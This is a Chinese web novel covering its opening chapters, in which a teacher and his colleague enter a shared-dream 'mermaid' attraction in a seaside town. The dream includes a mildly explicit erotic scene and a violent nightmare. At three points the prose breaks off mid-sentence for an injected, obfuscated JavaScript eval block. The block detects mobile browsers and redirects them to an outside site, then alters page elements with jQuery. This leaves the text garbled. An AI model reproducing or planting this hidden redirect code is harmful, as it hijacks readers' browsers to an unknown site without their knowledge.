《我在梦里打黑工》
1. 人鱼之梦
第一章
“‘畅游东海’的团友们,请跟着我,大家看这个广场,广场中央这个身姿曼妙的人鱼雕像,建造于1994年,这个雕像是由东海市的渔业大亨张智宏先生捐赠的,相传当年——”
相传当年张先生的爷爷出海的时候遇上风暴,掉进海里被一条美丽的人鱼救了上来,啊,相传当年张先生的爸爸天天捞不到鱼,某天一条人鱼出现,她用她美妙的歌声引来了大量鱼群,张先生因此生意兴隆,发了大财,啊……我虽然没有确切地听说过东海市的人鱼传说,但海边旅游城市人鱼传说,就和美食街里的轰炸大鱿鱼一样,全国连锁,风味相通,我调动一下我贫瘠的想象力,大概也能猜个八九不离十。我手里拿着刚从“东海古城”里买的大鱿鱼串,站在老年旅游团的后面,听导游讲人鱼。
故事正讲到美丽的人鱼在风雨交加的夜晚和张先生偶遇时,站在我旁边的路迢转向我,忽然问了我一句:“江夷,你家是不是也在海边?”
路迢是我的同事,我们同在市里一所普通中学里当老师,我今天能出现在这里,也是因为他。后天是我们学校另一个老师的婚礼,新郎邀请同乡路迢回东海市喝喜酒,路迢社恐,于是拉上了我。他这一问来得有些突然,我牙还咬在鱿鱼上,所以我只好点了点头。
“在我二十多年的人生里,我听过好多次关于这个雕像的故事,但有趣的是,每一次都不一样。”他举起手里剩的小半串鱿鱼,指向高空的人鱼,“我有点好奇,你家也有人鱼吗?”
“啊?”我想了想,“……有吧。”
路迢对我这个含糊的回答显然不太满意,虽然他没说,但从他低头继续吃鱿鱼的表现我可以猜测出,他觉得我在敷衍他。
但其实我没有。这个“有吧”是我经过思考之后,审慎的回答。我对家乡的记忆可以说是非常非常,非常之模糊。我家住在一个比东海市还要小得多的海边小镇里,镇里只有小学,从中学起,我一直在旁边城市的学校寄宿,毕业之后,我又到更远的地方工作。关于家乡,我只记得那里有海,有山,有树……还有一个小公园。
公园是镇子里一个做珍珠养殖生意的人捐赠的,说是公园,其实就是一小片铺了砖的空地,周围寥寥几棵树,还有很久没人打理的草坪。公园中央有和这里相似的一座人鱼雕像,只不过那雕像比这里的要小,形态也更奇异一些。东海市这座人鱼塑像,长得相当符合现代人类的审美,假如把她的鱼尾巴换成腿,手心上的明珠换成宝宝,这座塑像就可以毫不违和地改名叫“伟大母爱”。但我家的那座可不行。我印象中的人鱼,是一个非常长,非常软,真像一条长长的鳝鱼一样,诡异地弯折着的女人。在我家那种小地方,不太可能会有什么太现代太超前的审美出现,她长得越奇怪,我越觉得她是真的。
我似乎有问过这人鱼的来历,但我记不清楚了。我本来就没怎么回过老家,加上几年之前,我带学生去足球场上课,那群臭小子只有力气,没有技术,不知道是谁一个大脚抽射,足球砸我后脑勺上,我本来没当回事,结果回家之后,一直觉得头脑发昏,晚上去急诊一看,说是脑震荡。幸好那几天碰上国庆假期,我悄悄住了几天院,没好意思让别人知道我一个体育老师,被学生一球踢成脑震荡。这事情算是我的一个秘密,谁都不知道,但自从那次之后,我的记忆力就变差了——本来就很模糊的,关于家乡的回忆,现在变得更模糊了。所以我想了好几秒,只能这么回复他。
见我们对人鱼雕像兴趣寡淡,你一句我半句之后就没了下文,我们今天的向导,也就是新郎官的表哥,忽然间凑了过来。“我跟你们说,这个古城白天没意思,能看的也就这个石头雕像,等晚上我再带你们出来,古城里还有个好地方,嘿嘿……”
新郎官是个正直人,但他的表哥从外表到言行,显然都不是正经的那种人。他一说“好地方”,我就觉得是个什么违法犯罪的温床。路迢显然和我有同样的想法,他看了我一眼,我看了他一眼,东海市不大,地理位置可以算是有点偏远,这种山高皇帝远的小城市,可说不准会有什么。我们两个遵纪守法,听得有点慌,几个眼神过去,表哥也看出来了我们心中所想。表哥“哎哟”一声,接着说道:“哎不是,你俩想什么呢!正经地方,正经地方哈,这都正经旅游区好吗?只不过有个水族馆,晚上有人鱼表演,票可抢手了,你们既然来了,我找我哥们给你们留两个好的位置,他在那里卖票。”
……
晚上的古城,和白天的古城完全不同,但那彩色的霓虹灯招牌,和我们在香港或是其他打着“港风”旗号的步行街们,并没有什么区别。路迢和我跟在表哥后面走,路迢是个语文老师,我并不经常意识到这一点,但他时不时冒出来的一两个我完全不知道的典故,会适时地提醒我这一点。
他说,《世说新语》里有一则故事,说的是美男子卫玠十几岁的时候,有一次问他未来的岳父乐广,梦到底是什么?乐广说梦是心中所想。卫玠不理解,乐广给他举了个例子,说你不会梦见坐车进老鼠洞吧?不会梦见把铁棍捣成粉末然后吃掉吧?因为你没有想这些事,你就不会梦见它们。
我让他说人话,他推了一下他实际上只有一百度的眼镜,他说,这些古城就像乐广的梦境,设计者见过什么,他就建造什么,这里不会有他们记忆以外的东西,因为他们不曾想过新的东西。如果我是卫玠,我就会反驳乐广,因为我就梦见过骑自行车在天上飞,在海底打麻将,我没有主动地去想过它们,但我还是不由自主地想了,这种身不由己,就是创造的魅力所在。
我听得半懂不懂,但作为朋友,我附和了几句,因为记性太差,表哥忽然一句“到了”,我就忘记说到哪里了。但这不重要了。路迢的注意力被眼前的水族馆吸引了过去,我也是。水族馆门口是个霓虹灯招牌,上面写着“人鱼幻梦”四个大字。因为招牌灯光太亮,我跟在表哥后面,掀开门帘,走进昏暗的室内时,还有些晕头转向,脚步虚浮。
尽管我什么都看不清,但我知道这里不大,因为室内的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957352|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空气有些混浊,而人们说话时的回音十分明显。表哥的话并无夸大,这里确实一票难求,人坐得非常满。这地方像是由一个旧电影院改造而成的,我和路迢举着手机照明,跟在表哥后面,走下一级级的台阶。表哥把我们带到最前面一排正中央的位置坐下,我们甫一坐下,底下的按摩椅就自动开始按摩,与此同时它开始了它缓慢的倾倒过程,按摩椅的力度设定得有点过于粗暴,我光顾着痛,没留神椅子正在悄无声息地往后倒,等按摩结束,耳边响起温柔的女声——“继续按摩请支付宝或微信扫右侧二维码”——的时候,我几乎已经躺平了。
室内仅剩的几点照明灯光熄灭,就像电影将要开场时那样,室内全然陷入黑暗。之后在我们上方,一个巨大的屏幕亮起——蓝色的光照得人脸色也发蓝,我左边的表哥和右边的路迢像两个阿凡达。我的眼睛有点敏感,习惯了黑暗之后,突如其来的一大片蓝光让我不由得冒了点眼泪。在泪光之中,我看清眼前的蓝色,并非一个巨大的屏幕。那是一个鱼缸,呃,准确来说,一个人鱼缸。
人鱼当然是假的,是人扮的,缸里是几个身材曼妙,穿着闪闪发亮的人鱼尾巴,在水里来来去去游动着的美女。请这么几个年轻漂亮,还能长时间在水里潜游表演的演员,实在不太容易,至少在东海市这个小地方,这景点的人工成本可以算是十分高昂。钱花在了演员上,鱼缸其他东西就做不到那么仿真了。缸里只有珊瑚石头贝壳之类的摆设,还有一些身躯僵硬的假水草,除了人鱼,缸里没有别的活物。我在网上见过大城市的海洋馆,那都是真的海鱼,活的珊瑚,演员在里面游动,场面相当震撼。但我毕竟没亲身见过这种场面,虽然这里的有点低配,但头顶蓝色的海底场景里,人鱼在我上空盘旋,像在游泳又像在飞行,水缸里的水十分平静,但她们的长发随着她们或行或止的身形飘动,那些或散开或盘结的头发,仿佛是海中波涛的动荡。
亮灯的那一刻,人鱼和大海现形的那一刻,屋里爆发出一阵惊奇的欢呼。但等人鱼游动起来,水缸里粼粼的波光照到身上,我们不由自主地又安静了下来。我看着人鱼发愣,看着看着,仿佛我也成了静态的物品,成了缸里的珊瑚,石头,贝壳。旧电影院里坐满了珊瑚石头和贝壳,水缸的玻璃溶解在空气中,蓝色的水在不知觉间淹没了整个空间,缸里的人鱼游了出来,她们在离我很近的上空游过,不知道是水草还是她们的长发,在我的皮肤上轻轻搔过。一条长着金色尾巴的人鱼悬浮在我的身前,她微笑着向我挥手,我想跟她打招呼,但我的手一点也动不了。
我应该是睡着了。感觉像鬼压床,我的精神醒着,但身体在梦里,不听我的指令。每每做梦做到这个节点,意识到自己在做梦,人却醒不来,接下来人就该要做噩梦了。我挣扎着要醒来,身体全然不听使唤,表哥的声音从很远很远的地方传来,他在喊我,“醒醒,快点”——路迢的手出现在我和人鱼中间,他在掐我——金色的人鱼在摇晃,我像在一个雷雨天信号不稳的电视机里,跟着屏幕一起闪烁。
2. 春梦泳池
我猛然睁开眼,鱼缸还是那个鱼缸,电影院还是那个电影院。缸里的人鱼早就走了,打扫卫生的阿姨从前往后一排排座位打扫,一边打扫一边把像我这样在按摩椅上睡着的观众摇醒。表哥和路迢站在我面前,我茫茫然坐起身,表哥伸手拍了拍我的肩膀,说,哎,昨天你们坐过夜火车来的,肯定没睡好吧?他嘘寒问暖了几句,见我彻底醒过来了,他伸手指了指前面通向屋子更深处的一个门帘,语气又霎时恢复了白天时的不正经。“接下来这个票可就更难买了,快跟我来,昨晚没睡好没关系哈,今晚睡个好觉,做个好梦,嘿嘿……”
一听他“嘿嘿”,我和路迢就心里发毛。没等我反应,旁边路迢就站住了脚,开口说道:“虽然表哥你是地头蛇哈,我们两个跟着你绝对没错,但我们胆子小,特别是江夷,你别看他这么大一个人,他怕黑的。那个,那个……”他叠了十几二十层甲,没把最重要的点说出来。我急了,我接着说道:“表哥,那个门后面是什么,事先给我知道知道,行不?”
电影院里的扫地阿姨正清到倒数第二排座位,屋里除了我们几个,还有别的人。虽然隔得很远,表哥还是靠近了我们。他压低声音:“你们两个别害怕,里面肯定不是什么违法犯罪的地方好吧,就是……就是,怎么说呢,江夷你先别怕啊,说起来有点灵异,但这里没有鬼,我可以用人格担保啊。”
见我们两个对他的人格也不是很信任,他又继续说:“就,哎,我实话实说好了,东海的人鱼是真的,但那些人鱼传说都是后来的人编的。人鱼是好多年之前被不小心捞上来的,以前这个屋子里就放了个比这小一点的玻璃缸——”他指了一下我们头顶的大玻璃缸,此时的缸里已经没有活物了,“她被放回海里之后,屋主就发现,他每次在这里睡觉,都会不停做梦,而这些梦一般都很好,他想梦见什么就梦见什么。”
他一边说,一边往前走,我和路迢顾着听,不知不觉间竟然就跟着他走了。他掀开门帘,跨过门槛,我们两个糊里糊涂地跟着进去。门帘里面和外面的电影院完全不一样,里面很亮堂,看起来就像个普通的民宿。表哥领着我们走到电梯口,等电梯的时间里,他还在继续说:“东海地方小,那时候管得不严,市里还是有些发廊啊洗浴中心啊之类的东西,那个屋主也是聪明,他把屋子改造成这些东西,骗人进来。但这完全是无本生意,屋里除了清洁阿姨,就没有别的女人。他让嫖客在外面沙发先等着,其实那时候他们就睡着了,房间是假的,女人是假的,一群嫖客在门口沙发做个春梦,天就亮了。”
我和路迢两个人在感叹他的聪明,人已经走进了电梯,而我们无意中一抬头,便看见玻璃轿厢外面的水泥井,和电梯上的按钮。电梯上只有三个按钮,1,66,108。东海古城里绝对没有108层的高楼。
我眼看着路迢的脸霎时白了,我的脸大概也是这样。但电梯确实在往上升,它升得很快,我的耳朵有些胀痛。它很快脱离了水泥电梯井,接下来的电梯井是透明的,一大片亮眼的蓝色又出现在眼前。我和路迢两个人看向表哥,表哥趴在观光电梯厢上看外面的水。他说:“现在的老板是屋主的儿子,我们三个现在人还在电影院里睡觉,从我拍醒你们开始,都是在做梦。”
电梯经过66层的时候,我们看到了坐在落地大玻璃旁边玩手机的老板,表哥对老板挥手,老板也对我们挥手,之后他的身影便迅速地被甩到我们的视野下面,电梯越升越快,几乎是在飞,之后它陡然减速,最后在108层停下。
从电梯出来,是一个巨大的环形观光厅,观光厅由高达两层楼的玻璃围成,灯光照进观光厅外面蓝色的水池里,观光厅里全是金色的波光。
知道我们在做梦之后,我和路迢反而松一口气。虽然我们内心还是有些疑虑——毕竟在我二十多年的人生里,我从没做过这样沉浸,又这样清醒的梦,人鱼电影院的老板大概用了一些高科技的手段。但考虑到两天之后,我们的同事要办婚礼,表哥虽然看着不像正经人,但他也不像个坏人,催眠我们的大概只是些寻常的安神熏香,再大不了就是安眠药,总不至于是些吃了就要进监狱的东西。我和路迢一边惴惴不安,一边破罐子破摔,我俩人都睡着了,都被带到这里来了,还想那么多干什么。
表哥带着我们往旁边的楼梯走,我们就跟着去。水就108层深,从观光厅再往上走,我们就能看到水面了。观光厅外围是更大的一个环形水池,池边放了很多潜水装备。我和路迢都是在海边长大的,水性不错,但就是游泳世界冠军,看见这幽深的,整整108层楼深的水池,心里都要发憷。我们直接就往最厚重的装备走去。
表哥左手拉我,右手拉路迢,嘴里喊道:“哎别过去,你们两个怕什么,你们在做梦,梦里不需要呼吸!”见我们两个拉不住,他又说:“那潜水设备是摆设,老板没穿过真的,他不会做这东西。他也没真正潜过水,你们潜到水底,也就跟去东海游泳馆游泳一样,这观光厅是他在梦里造的,假的!”
还是路迢反应快,听到表哥这么说,他问道:“那春梦呢?不会每个人梦里看见的都是老板看过的东西吧?我要是跟他审美不一样,我还能半路醒来吗?”
表哥松开拉着我们的手,他走到池边,指了下水面——指了下水面的正下方,那108层楼高的,蓝色的深渊。他说:“水以外的地方,是老板的梦境,水里面,是你自己的梦境。你想看见什么,什么就会在水里出现。”
我和路迢看向水池,池子里映着我和他和表哥的倒影。表哥显然已经来过好多次,他一点没迟疑,像跳进东海游泳馆的游泳池一样,轻易地就跳进了这个深渊。我和路迢看着水里他的身影越来越远,我朝着水池大喊:“表哥,里面怎样?”
他的身影已经消失在幽深的水里,但我们却听到了他的声音。
“你俩下来啊,问我干啥?”
“不是啊表哥,江夷胆子很小的,他怕水鬼啊!”
死路迢,自己害怕还把锅甩给我。
“我怎么形容呢,我不是跟你们说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957353|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了里面是春梦吗?反正,反正是美女,”他着急做他的美梦,被路迢猛地喊住,耽误了时间,不免有些恼怒,“你们两个别问了,要下来就赶紧跳,不敢跳你们就坐电梯下去,原路返回电影院,人就醒过来了。”
路迢犹豫,我也犹豫。路迢犹豫了一会儿,凑过来,小声问我:“江夷,你……”
他声音有点小,我太紧张,听不清后半截:“什么?”
“……”路迢被迫加大音量,他简短的疑问句在水池周围回荡,“我问你做过吗?”
“……没有。”气氛有点尴尬,“你呢?”
“我也没有。”路迢看着水池,神情一如站在天台往楼下看,眼中有些许死志,“那我们要是下去,会看到什么?”
不知道。
我看向蓝色的深渊。人好像有点本能的,想要往下跳的冲动,站在天台上,人会不由自主地想,跳下去会怎样,站在水边也会有这种感觉。对深渊的畏惧越大,坠入其中的画面就更挥之不去。
“不知道。”我说,之后看向他,“无所谓,反正是在做梦。我们跳吧?”
我们看看彼此,之后一起跳了进去。
水里几乎没有浮力,我在飞快地下坠。但池子太深,我前看不见表哥,后看不见路迢。水是假的,我在水里能说话。我大喊:“路迢!”我上方的水被灯照亮,路迢的剪影在很浅的地方漂浮。“路迢你怎么没下来啊?”我问。
“我不知道啊,这里浮力好大,我完全沉不下去啊。”路迢在上面喊。
我下沉得太快,就他说一句话的功夫,我已经又沉了四五层楼,他那句话听起来像跟着我一起沉没。还好我嗓门大,我拼命大喊:“路迢你看到水里有什么东西了吗?我这里什么都没有。”
“好像有,好像有,好像是……好像是人鱼。”我已经落到很暗的深水区,路迢的身影我已经看不到了,我只能听见他的声音。“这人鱼有点瘦啊,呃,长得很古典,没有鱼尾巴啊?怎么,怎么有点像林黛玉?我最近正好在看,这身形和书上的插图好像,衣裙也一样。但我看不清她的脸,她的手我倒是看得很清楚……”
他的声音消失了。完完全全地,消失了。表哥的声音也一样,他们两个大概已经到了他们自己的梦境里,而我——
而我呢?
我还在往下沉。
我还在飞快地往下沉。
玩手机的老板在我视野里一闪而过,我已经落到66层以下了。
池子很空,从108层,到我现在所在的,大概是四五十层的地方,什么东西都没有。我努力回想表哥说的话,他说这个水池就是我的潜意识,路迢脑子里装满了东西,因而不需要落得太深,他就找到了自己的梦境,而表哥,表哥好像是在七八十层的地方消失的。我……我还在下沉。我想起几年前那个把我踢成脑震荡的足球。好尴尬,这是不是说明,我的大脑就跟这个池子一样,80%的地方都空无一物?
啪。
灯忽然打开了。
3. 二十岁的江夷
池子一下子变成了一长条浅蓝色的,明亮的光柱。有东西了,有东西了,这里离地面只有二三十层楼的高度了,我终于看到了我的人鱼。她皮肤很白,留着一头厚厚的浅金色长发。她金色的尾鳍展开,几乎有池子大半宽度的尾鳍上,全是细细的鳞片,光照在上面,鳞片闪闪发光。她游向我,我观察她。表哥说每个人都会看到自己的性幻想,她确实长得很像我的性幻想。我的性幻想没有什么实质,没有什么内涵,她是我看过的色情片女主的集合,是她们的总和,是她们的浓缩。我看不清她的脸,这符合一个春梦的逻辑。除了脸,别的地方都看得很清楚,这是现代影视科技发展的印证,有色影片清晰度大幅上升。她的曲线很夸张,胸特别大,上面是两个白色的贝壳,腰很细,在这里,人类的皮肤过渡到金色的鱼尾,鳞片包裹着的地方陡然增大,她臀部的尺寸和胸部同样反人类。
我很难想象路迢居然能在这种场合看见林黛玉,他那不能叫性幻想,他那应该是爱幻想。当人鱼的手臂缠上我的颈项时,她柔软的身体贴在我的身上。我忽然有点分心,不知道路迢在和他的林黛玉聊些什么?在我想林黛玉的时候,水池里好像有些奇怪的骚动。我瞬间意识到这里的一切都是我的潜意识,我在控制我的潜意识,我倘若想林黛玉,我的金发女郎就会变成林黛玉。
但人的潜意识是如此的不受管束,我越是不让自己想林黛玉,我就越控制不住自己去想林黛玉。我的水池依然没有浮力,我的分神让这里的光线变得动荡,怀里的人鱼时而是实体,时而是泡影。我已经能看见池底,以我这样的速度下坠,摔碎在这里几乎是一种必然。独自从108层下沉到和人鱼相遇的20层,我并没有多少恐惧。但她在我的怀抱里逐渐消失的感觉,好像触动了某些我遗忘已久的……恐惧。我强迫自己专注地去想她,专注地,在脑海里回放她展开金色的尾鳍,从黑色的深渊中冉冉上升的影像。
专注。
当最后一丝不听话的林黛玉离开我的大脑时,我的身体撞到了水池的底部。
我抱着金色人鱼,撞破水池底部的蓝色瓷砖,我和她穿过混凝土,坠入黑暗的地壳深处。这样的坠落没有痛感,没有任何感觉。我在黑暗中下落了很长一段距离,之后周围变亮。
我掉在一张长沙发上,人鱼在我的身体上面。这是一个客厅,屋里只亮了一盏黄色的壁灯,墙上的时钟,轮廓清晰,指针模糊。场景符合梦境的特点,我终于和表哥和路迢一样,在深沉的睡眠中,找到了自己的梦境入口。
沙发很窄,只能容我一个人躺下,人鱼伏在我的身上,我但凡移动一下,她就可能摔下来。我没敢动,只是稍微伸了伸脖子,去看我所在的这个客厅。场景是陌生的,人鱼的尾鳍已经分开,她金色的鱼尾变成了一条金色的长裙,从我这里看去,能看见她的裙摆,和裙摆之间隐约露出来的,她纤细的脚腕。我的手还抱着她,原本是裸露皮肤的腰部,此时被缀满金色亮片的长裙覆盖。亮片摸起来像是细小的鱼鳞,它们在我的指尖剐蹭。她在我身上动了动,无论是她的重量,还是她活动时,寂静的空间里细微的衣物摩擦声,都来得如此真实。
我虽然明知道这是一个春梦,但它太真实了,她像是个真实存在的女人。和一个才见面五分钟,甚至没说过一句话的女人亲密接触,对于我来说还是有点心理上的隔阂。但我忘了,她就是我的潜意识本身。在我迟疑着要不要抚摸她的时候,她已经将我的手放在了她的腰上。她在亲吻我,温热而柔软的嘴唇熨烫着我的下颌,她的头窝在我的颈胸之间,我的下巴陷进她蓬松的浅金色头发里。
她的动作让我不由得闭上眼睛,她把我的手带到她的长裙背后的系带上,这场面有点过于突然,我简直不敢动,但她的裙子自己散开,变成一块布,变成一滩水,从我和她之间流下,金色的衣料淌了一地。她完全受我控制,我的每一个细微的念头都会变成现实,当我想起她在水池里的时候,穿着的那件贝壳胸衣……她就将我的手带到她的身前,我不小心碰到了她的皮肤,她的体温比我要低一些,那种微微冰凉的,柔软的,丝绸一般的触感,引起一次并不愉快的期前收缩。我的任何不稳定都会引起梦境的不稳定,房子随着我的心脏一震,我不由得睁开了眼。
我和她的脚正对着玄关的方向,那里有一个鱼缸,鱼缸的那边,就是屋子的门口。这个陌生的环境让我隐约有些不安全感,像是一个常见的裸露噩梦,在室内不穿衣服,下一刻门就要被打开。我果然不能分心,我一想“门被打开”,门外就传来了一些声响。
经历过水池里的林黛玉,我在听见门外响动的那一刻,就马上强迫自己专注,专注地想她,想我指尖下她的触感。但这种努力似乎不再奏效,门外的骚动越来越大,越来越大。
有人来了。有很多人。
陌生人的出现,是梦境碎裂的前奏。
外面人说话和走动的声音忽然停止,之后,是“砰”的一声巨响。
事情发生得很快,而我正好睁着眼。我看不到门那头的人,只看到一颗子弹穿过玄关的鱼缸,玻璃鱼缸被子弹轰得四分五裂,里面红色的金鱼像血一样溅射出来。而子弹穿过鱼缸,打在我怀里的人鱼身上。刚刚还窝在我身上的人头,只剩下了一半,半个被子弹打碎的脑袋化成水,顺着人鱼金色的头发滴滴答答地落在地上。
我将她推开的时候,她已经是一具僵硬的尸体。鱼缸碎裂,敞开的门外出现了一条走廊。我爬起身,人鱼的尸体跌在地上,哐当一声化为齑粉。我赤脚站在客厅的地面上,人鱼的血肉和她金色的衣料都化成了水,她的血是绿色的,绿色的水上漂浮着细碎的金粉,淹过我的脚背,我踩着水走,走到门口。外面一个人都没有,只是一条横行走向的走廊,距离我大概5米的地方,有一条楼梯。
我没有走动,当我看到楼梯,楼梯就向我移动过来。它移到了我的面前,一个提着刀的人从楼梯上跑下来,他并没有看到我,他跑下楼梯,之后往左转,顺着走廊追去。外面在下大雨,风很大,提着刀的人,消失在走廊尽头被风吹起的窗帘后面。
他消失之后,我右边的门打开了,一个人警惕地从里面走出来。
我很确信那一刻我看见了我自己。
那大概是几年前的我,他看起来比现在的我要白一些,他攥着拳,手心里紧握着什么,因为皮肤白,他前臂上青色的静脉分外突出。他长得和我几乎一样,但他又绝不是我。他的眼神中有些经年累月的警觉,尽管他表情平静,此时正沉着地盘算着他接下来的逃跑路线——他看向走廊右边被风鼓起的窗帘,看向前面的楼梯,看向左边的窗口,闪电将窗口外的天空照得白一片黑一片的——但他的每一寸肌肉都紧绷着。这是一个心事重重,几乎没快乐过的年轻人,而我……我80%的大脑都空无一物。
他小心地踏出房门,但就像每一个噩梦的发展一样,他的脚步声很轻,几乎没有,但他一动,追杀他的人马上就感知到了。那个提着刀的人从窗帘里冒出来,而我面前的楼梯,上下都有人在跑,楼梯在晃,走廊在晃,而慌不择路的那个“我”,朝走廊左边敞开的窗子跑去。
我就站在门口看他跑,他好像看不见我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957354|177656||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,因为他径直地朝我撞了过来,没有半点要躲开的意思。
他撞向我。
融入我。
成为我。
他疯狂地跳动着的心脏,他叫嚣着的恐惧,他沉重的灵魂……一切一切,都撞进了我的身体里。走廊上没有了他,只剩下我,那些追逐他的人,也都奔我而来。他的恐惧对于我来说是陌生的,是异物,在我生活在现实世界的二十多年里,我从未有过像此刻一般激烈的情绪。我的身体在排斥冲进来的另一个灵魂,我想吐,这绝对是一个噩梦,我望向走廊尽头敞开的窗子。
我很少做梦,但那个寄生在我身体里的,陌生的灵魂,他正在操控我,操控我往窗口跑去。
我跑到窗边,攀着窗台就往外爬。
跳下去,摔在地上,在梦境里死亡,之后我就会醒过来。
追来的人从后面抓住了我的脚腕,我的身体悬在窗口,随着窗外的风雨飘摇。重力拖拽着我往下坠,他们的手终于松开,我头朝下往地面上撞。下落的过程非常快,但预想中的醒觉并没有到来。雨下得很大,当我下落时,积水在往上升。我落入水中,被冰冷的海水淹没,我勉强踩到了地面,但水位飞快地上升,而我被风浪推着前进。
雨还在下,但天色迅速地变亮,梦里的时间并不连续,一抬头,天亮了。我一秒前所在的那栋楼,在风雨中轰然倒塌,沉入水中。它倒下时激起的巨浪将我又往前推了几步,我脚下的地面忽然消失。我陡然失陷在水里,倒塌的楼房里的东西都往水底沉,那个破碎的鱼缸,人鱼的衣服……还有一个保险箱。
保险箱上的是密码锁,六位数字,所有数字都是0。我想起了我手里紧攥着的东西,我摊开手掌。
手心里的是一张纸条,纸条上写着数字,但水已经将字迹化开,上面只剩了模糊的一片黑影。
天完全亮了,阳光照到我所在的深渊中。和我来时那个108层深的水池不一样,水底下是一座倾倒的城市。不对……那不是“倾倒”,是“沉没”,这座城市像被一只无形的大手,生生按到了水底。所有东西还保持着它下陷时的形貌,只是时间久了,房屋和桥梁都受到海水锈蚀。而那个保险箱,它从我身边漂过,之后迅速地下沉,坠落到一座像是图书馆一样的建筑里。图书馆的玻璃穹顶被保险箱砸开,水被吸到真空的建筑里,这一阵水流连带着把它上方的我也吸了过去,强大的水流几乎将我撕裂——
我睁开了眼。
我还躺在电影院里。我左边的表哥,右边的路迢,还有电影院里的其他人,都在熟睡之中。电影院里还播放着助眠的海浪白噪音,我从按摩椅里爬起来,我的心脏似乎被换了一个,它很沉重,梦里那个撞进来的“我”,好像还在我的胸腔里面。我放轻脚步,走向电影院的门口。
门外是一张躺椅,一个六十多岁的干瘦阿叔正躺在上面睡觉。在他旁边的是电影院的电子时钟,上面红色的数字显示02:15。
现在只是凌晨两点,我不过睡了三个小时。
这个阿叔我见过的,在塔楼的66层,那个玩手机的老板就是他。梦境里的他比现在要年轻至少三十岁,我站在他的面前,观察着他。他睡得不深,似乎是察觉到些许威胁,他睁开了眼。
他看了我一眼,之后迅速地往旁边侧头,看了一眼钟。他大抵是从来没在这个时间点,见过一个清醒的人,他那双狡黠的,平时大概不太会表露情绪的眼睛里,难得地有些惊惶。
我逼近他。
我胸腔里那个二十岁的江夷,执意要在此刻,从他这里得到一个答案。
4. 珩
第二章
二十岁的江夷在我的胸腔里溶解,胸口里的异物感还在,但他的警觉、谨慎、老谋深算,似乎正在占领我大脑中空无一物的那80%。借助了一点他的智力,我轻易地从老板的眼里读出了他的意图。
我一步上前,在他偷偷伸手去摸手机的时候,挡在了他的身前。我是个体育老师,大学学的散打,虽然电影院是他的地盘,虽然门外可能有他的保安,但奈何此时是凌晨两点,奈何我有体型优势,我挡在他面前,他是一点也不敢动。
当我盘问他这座电影院的来历时,他没敢多做隐瞒。
“是那段海浪声……”
他说完这句话,我们所在的地方又陷入了夜的寂静中。虽然隔着一层门帘,我还是可以听到电影院里的海浪声。从里面出来的时候我只顾着找老板,并没有仔细听。这段海浪声只有短短二十秒,它只是在不停,不停地循环播放。
“你在哪里录的?”
新的脑子果然好用,没等我盘清个中逻辑,那个凶狠的二十岁江夷就藉由我口,问出了这么一句。
“这……这说起来可就长了。”
那是三十年前的事情了。
三十年前,东海市还是个小县城,老板从这里南下,到大城市去打工。那一年他三十岁,本来谈好了要结婚的未婚妻忽然间弃他而去,跟别人私奔了。他孤身一人离开家乡,既无文化也无技能,他跟着一个同乡学瓦工,正好市里有个中医正骨馆装修,他负责给医馆新砌的厕所贴瓷砖。
那个年代,隔音材料还远没有现在这么普及。正骨馆很小,外面有个大哥,好像是肩关节脱臼了,老板在厕所里贴瓷砖,忽然听得外面一声大叫,那叫声简直震天响,知道的说是正骨,不知道的还以为在杀人。老板这时候正蹲在地上,在贴低矮处的墙砖,建筑材料比较便宜,总有些淡淡的化学品味道,本来老板闻得晕乎乎的,被大哥这么一喝,整个人都吓醒了。
他站起身,好奇地往外走去。和他一起往外走的,还有隔壁房间里的一个女人。女人看起来二十四五岁,她的头发染成红棕色,烫着漂亮的大波浪卷,她身上穿着一件流行的泡泡袖短衬衫,底下是一条黑色的过膝长裙,这一身装扮都十分入时,但她脚上穿的却是一双塑料拖鞋,九十年代硬邦邦的透明水晶塑料拖鞋,走起路来嘎嘎响。老板在心里暗想,她大概不是顾客,但看她的装扮也不像员工,正骨馆老板是个五六十岁的大叔,说不定她是这个正骨馆老板的女儿。听到她的拖鞋声,外面一个学徒赶紧跑过来。
“珩姐,没事,”学徒解释道,“那大哥嗓门大,这下好了。”
老板看向女人,她的反应特别平静,听到解释,她只是淡淡说了几句,让学徒安抚一下其他被吓到的客人云云,之后就要转身回去。但她很平静,她身后那个屋子里的人却不是。屋子里的是一个七八十岁的老太太,她好像在睡觉,这动静把她惊醒了,她正坐在床上,呼吸急促,脸色惨白。老板看着害怕,忙跟年轻女人说:“老太太还好吗?要不要送她去医院看看?”
